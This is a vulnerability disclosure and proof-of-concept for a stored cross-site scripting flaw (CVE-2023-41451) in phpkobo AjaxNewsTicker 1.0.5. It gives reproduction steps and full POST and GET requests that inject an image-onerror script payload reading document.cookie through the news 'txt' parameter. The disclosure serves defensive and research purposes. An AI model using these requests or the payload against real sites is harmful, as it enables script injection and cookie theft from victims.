CVE-2023-41451

Cross Site Scripting (XSS) Vulnerability PoC #7 - AjaxNewsTicker - CVE-2023-41451.txt

Vulnerability Type: Cross Site Scripting (XSS) Vulnerability
Vendor of Product: phpkobo
Affected Product Code Base: AjaxNewsTicker
Product Version: 1.05
Description: Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload inside the "txt" parameter value in "save news" in the index.php component.
Attack Vectors: To exploit this vulnerability the victim must click on the malicious news link stored in target and then the payload will be executed on the victim's browser.
Attack Type: Remote
Payload: <img src=0 onerror=alert(document.cookie)>
Assigned CVE-ID: CVE-2023-41451
Discoverer: Pedram Khazaei, Raspina Net Pars Group (RNPG Ltd.)

Steps To Reproduce

1. Browse the following URL: https://<target.xyz>/ntic/admin/index.php?_rtp=nticker&_be=1
2. Add "news
3. Insert some "title" for newly added "news"
4. Add some text to the news
5. Insert payload in "news text"
6. Save the "news"
7. View new saved news
8. You can create your malicious payload and send the crafted malicious link to the victim in order to be executed on his/her browser.

#PoC [POST method]

POST /ntic/admin/index.php?_rtp=nticker&_be=1 HTTP/1.1
Host: localhost:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json,text/javascript, */*;q=0.01,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

requ=%7b%22cmd%22%3a%22edit_done%22%2c%22id%22%3a%223524%22%2c%22form%22%3a%7b%22title%22%3a%22test_rnpg50%22%2c%22news%22%3a%5b%7b%22txt%22%3a%22%3cimg%20src%3d0%20onerror%3dalert(document.cookie)%3e%22%7d%5d%2c%22t_movein%22%3a%221000%22%2c%22t_pause%22%3a%222000%22%2c%22speed_moveout%22%3a%22100%22%2c%22fc_news%22%3a%22%22%2c%22bc_news%22%3a%22%23FFFFFF%22%2c%22fc_btn%22%3a%22%23E0E0E0%22%2c%22bc_btn%22%3a%22%23404040%22%2c%22rc_ctar%22%3a%22%23404040%22%2c%22notes%22%3a%22%22%2c%22pinidx%22%3a0%7d%7d

PoC [GET method]

GET /ntic/admin/index.php?_rtp=nticker&_be=1&requ=%7b%22cmd%22%3a%22edit_done%22%2c%22id%22%3a%223524%22%2c%22form%22%3a%7b%22title%22%3a%22test_rnpg50%22%2c%22news%22%3a%5b%7b%22txt%22%3a%22%3cimg%20src%3d0%20onerror%3dalert(document.cookie)%3e%22%7d%5d%2c%22t_movein%22%3a%221000%22%2c%22t_pause%22%3a%222000%22%2c%22speed_moveout%22%3a%22100%22%2c%22fc_news%22%3a%22%22%2c%22bc_news%22%3a%22%23FFFFFF%22%2c%22fc_btn%22%3a%22%23E0E0E0%22%2c%22bc_btn%22%3a%22%23404040%22%2c%22rc_ctar%22%3a%22%23404040%22%2c%22notes%22%3a%22%22%2c%22pinidx%22%3a0%7d%7d HTTP/1.1
Host: localhost:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json,text/javascript, */*;q=0.01,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close